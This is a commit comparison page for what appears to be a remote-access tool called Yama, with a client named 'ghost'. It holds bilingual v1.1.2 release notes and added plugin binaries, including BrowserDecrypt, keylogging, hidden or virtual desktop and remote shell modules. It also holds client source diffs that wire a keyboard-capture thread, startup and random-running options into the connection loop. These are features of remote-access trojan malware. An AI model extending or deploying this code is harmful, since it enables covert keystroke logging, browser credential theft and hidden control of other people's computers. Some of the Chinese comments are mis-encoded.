Compare commits
20 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
522e083d97 | ||
|
|
06d63dd990 | ||
|
|
65cb4b23d5 | ||
|
|
7f5b409c5c | ||
|
|
64bebb1b86 | ||
|
|
848f4089bb | ||
|
|
763b4f6f25 | ||
|
|
3e5d45df6b | ||
|
|
017a8c8fa2 | ||
|
|
4ca2b45242 | ||
|
|
aa34b64995 | ||
|
|
c59232d179 | ||
|
|
44f28defa2 | ||
|
|
1d2ac9d241 | ||
|
|
b738de0d5f | ||
|
|
9aa5d589c4 | ||
|
|
659f820fd1 | ||
|
|
2e1a5156e9 | ||
|
|
246fb01bf5 | ||
|
|
371f359541 |
@@ -1,43 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.25420.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
19
ReadMe.md
19
ReadMe.md
@@ -254,6 +254,25 @@
|
||||
- 改进:新增弹窗以显示主机的详细信息
|
||||
- 改进客户端稳定性
|
||||
|
||||
**2025.07.07**
|
||||
|
||||
发布 v1.1.2:
|
||||
|
||||
* 修复:键盘记录功能的问题
|
||||
* 安全:增强插件的授权机制
|
||||
* 修复:释放 `CMachineDlg` 对象时的内存泄漏问题
|
||||
* 修复:使用 `Reverse Proxy` 时显示错误的 IP 地址 (#147)
|
||||
* 新增:添加跳转到授权指南页面的菜单项
|
||||
* 插件:新增一个文件管理模块
|
||||
* 优化:减少主程序中的冗余代码
|
||||
* 修复:在后台数据处理过程中关闭窗口导致的崩溃问题
|
||||
* 优化:移除读取注册表时的冗余代码
|
||||
* 架构调整:重构 TCP 客户端/服务器代码;重写套接字服务器逻辑
|
||||
* 新功能:支持同时监听多个端口
|
||||
* 新功能:支持客户端通过 UDP 连接;新增客户端协议选择(TCP/UDP)
|
||||
* 插件:#145 支持远程画板功能
|
||||
* 插件:增加远程桌面隐私屏幕功能
|
||||
|
||||
---
|
||||
|
||||
# 6.其他项目 <a id="6-other-projects"></a>
|
||||
|
||||
20
ReadMe_EN.md
20
ReadMe_EN.md
@@ -270,6 +270,26 @@ Modifying and compiling the program yourself can also resolve this issue.*
|
||||
* Improvement: Add a popup window to show details
|
||||
* Improve client stability
|
||||
|
||||
|
||||
**2025.07.07**
|
||||
|
||||
Release v1.1.2:
|
||||
|
||||
* Fix the problem with the keylogging feature
|
||||
* Security: Improve the authorization of plugins
|
||||
* fix: Memory leak when release `CMachineDlg` object
|
||||
* fix: Showing wrong IP while using `Reverse Proxy` (#147)
|
||||
* Add a menu redirects to the authorization guide page
|
||||
* Plugin: Add another file management module
|
||||
* Improve: Reduce master program redundant code
|
||||
* fix: Prevent crash when closing window during background data processing
|
||||
* Improve: Remove redundant code for reading the registry
|
||||
* layout: Reorganize TCP client/server code; Refactor the socket server code
|
||||
* feature: Support listening on multiple ports simultaneously
|
||||
* feature: Support client connections over UDP; Add client protocol option TCP/UDP
|
||||
* Plugin: #145 Support remote drawing board
|
||||
* Plugin: Add remote desktop privacy screen feature
|
||||
|
||||
---
|
||||
|
||||
# 6. Related Projects
|
||||
|
||||
BIN
Releases/v1.1.2/Plugins/BrowserDecrypt.dll
Normal file
BIN
Releases/v1.1.2/Plugins/BrowserDecrypt.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/DrawingBoard.dll
Normal file
BIN
Releases/v1.1.2/Plugins/DrawingBoard.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/FileManager.dll
Normal file
BIN
Releases/v1.1.2/Plugins/FileManager.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/HostManager.dll
Normal file
BIN
Releases/v1.1.2/Plugins/HostManager.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/PrivateDesktop.dll
Normal file
BIN
Releases/v1.1.2/Plugins/PrivateDesktop.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/RemoteChat.dll
Normal file
BIN
Releases/v1.1.2/Plugins/RemoteChat.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/VirtualDesktop.dll
Normal file
BIN
Releases/v1.1.2/Plugins/VirtualDesktop.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Yama.exe
Normal file
BIN
Releases/v1.1.2/Yama.exe
Normal file
Binary file not shown.
@@ -25,7 +25,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
|
||||
}
|
||||
|
||||
BYTE bToken = TOKEN_AUDIO_START;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
|
||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szPacket = NULL;
|
||||
@@ -84,7 +84,7 @@ BOOL CAudioManager::SendRecordBuffer()
|
||||
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
if (dwBufferSize > 0)
|
||||
{
|
||||
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
|
||||
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
|
||||
}
|
||||
return dwReturn;
|
||||
}
|
||||
|
||||
@@ -18,10 +18,15 @@
|
||||
|
||||
#pragma comment(lib,"Strmiids.lib")
|
||||
|
||||
// TODO ȫ<>ֱ<EFBFBD><D6B1><EFBFBD>, <20><><EFBFBD><EFBFBD>λ<EFBFBD>ã<EFBFBD>qedit.h
|
||||
|
||||
// <20>ӿ<EFBFBD> ID <09>ص<EFBFBD><D8B5>ӿڣ<D3BF><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿһ֡ץȡʱ֪ͨӦ<D6AA><D3A6>
|
||||
EXTERN_C const IID IID_ISampleGrabberCB;
|
||||
|
||||
// <20><> ID <09><><EFBFBD><EFBFBD> Sample Grabber COM <20><><EFBFBD><EFBFBD>
|
||||
EXTERN_C const CLSID CLSID_SampleGrabber;
|
||||
|
||||
// <09>ӿ<EFBFBD> ID <09><><EFBFBD><EFBFBD> Sample Grabber <20>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD>ص<EFBFBD><D8B5>Ȳ<EFBFBD><C8B2><EFBFBD><EFBFBD>ӿ<EFBFBD>
|
||||
EXTERN_C const IID IID_ISampleGrabber;
|
||||
|
||||
struct ISampleGrabberCB : public IUnknown
|
||||
@@ -35,7 +40,6 @@ public:
|
||||
double SampleTime,
|
||||
BYTE* pBuffer,
|
||||
long BufferLen) = 0;
|
||||
|
||||
};
|
||||
|
||||
struct ISampleGrabber : public IUnknown
|
||||
|
||||
@@ -11,7 +11,10 @@
|
||||
#define CLIENT_PARALLEL_NUM 1
|
||||
|
||||
// Զ<>̵<EFBFBD>ַ
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
|
||||
CONNECT_ADDRESS g_SETTINGS = {
|
||||
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||||
FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
|
||||
};
|
||||
|
||||
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
||||
@@ -265,6 +268,8 @@ int main(int argc, const char *argv[])
|
||||
status = E_STOP;
|
||||
|
||||
CloseHandle(hMutex);
|
||||
Logger::getInstance().stop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
@@ -478,7 +483,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||
}
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = new IOCPClient(bExit);
|
||||
IOCPClient *ClientObject = NewNetClient(&settings, bExit);
|
||||
CKernelManager* Manager = nullptr;
|
||||
|
||||
if (!app.m_bShared) {
|
||||
@@ -491,6 +496,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
}
|
||||
|
||||
app.SetThreadRun(TRUE);
|
||||
ThreadInfo* kb = CreateKB(&settings, bExit);
|
||||
while (app.m_bIsRunning(&app))
|
||||
{
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
@@ -500,7 +506,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
continue;
|
||||
}
|
||||
SAFE_DELETE(Manager);
|
||||
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
|
||||
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance, kb);
|
||||
|
||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings);
|
||||
@@ -513,6 +519,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||||
Sleep(200);
|
||||
}
|
||||
kb->Exit(10);
|
||||
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
||||
BOOL b = SetEvent(app.g_hEvent);
|
||||
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
||||
|
||||
@@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2012
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClientDll", "ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -1,153 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ServerDll</ProjectName>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -1,182 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Audio.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="AudioManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Buffer.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CaptureVideo.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ClientDll.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Common.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IOCPClient.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernelManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LoginServer.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Manager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegisterManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegisterOperation.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ScreenManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ScreenSpy.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ServicesManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="StdAfx.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SystemManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="TalkManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="VideoManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Audio.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="AudioManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Buffer.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CaptureVideo.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Common.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IOCPClient.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="KernelManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="LoginServer.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Manager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegisterManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegisterOperation.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ScreenManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ScreenSpy.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ServicesManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ShellManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="StdAfx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="SystemManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="TalkManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="VideoCodec.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="VideoManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="zconf.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="zlib.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CursorInfo.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
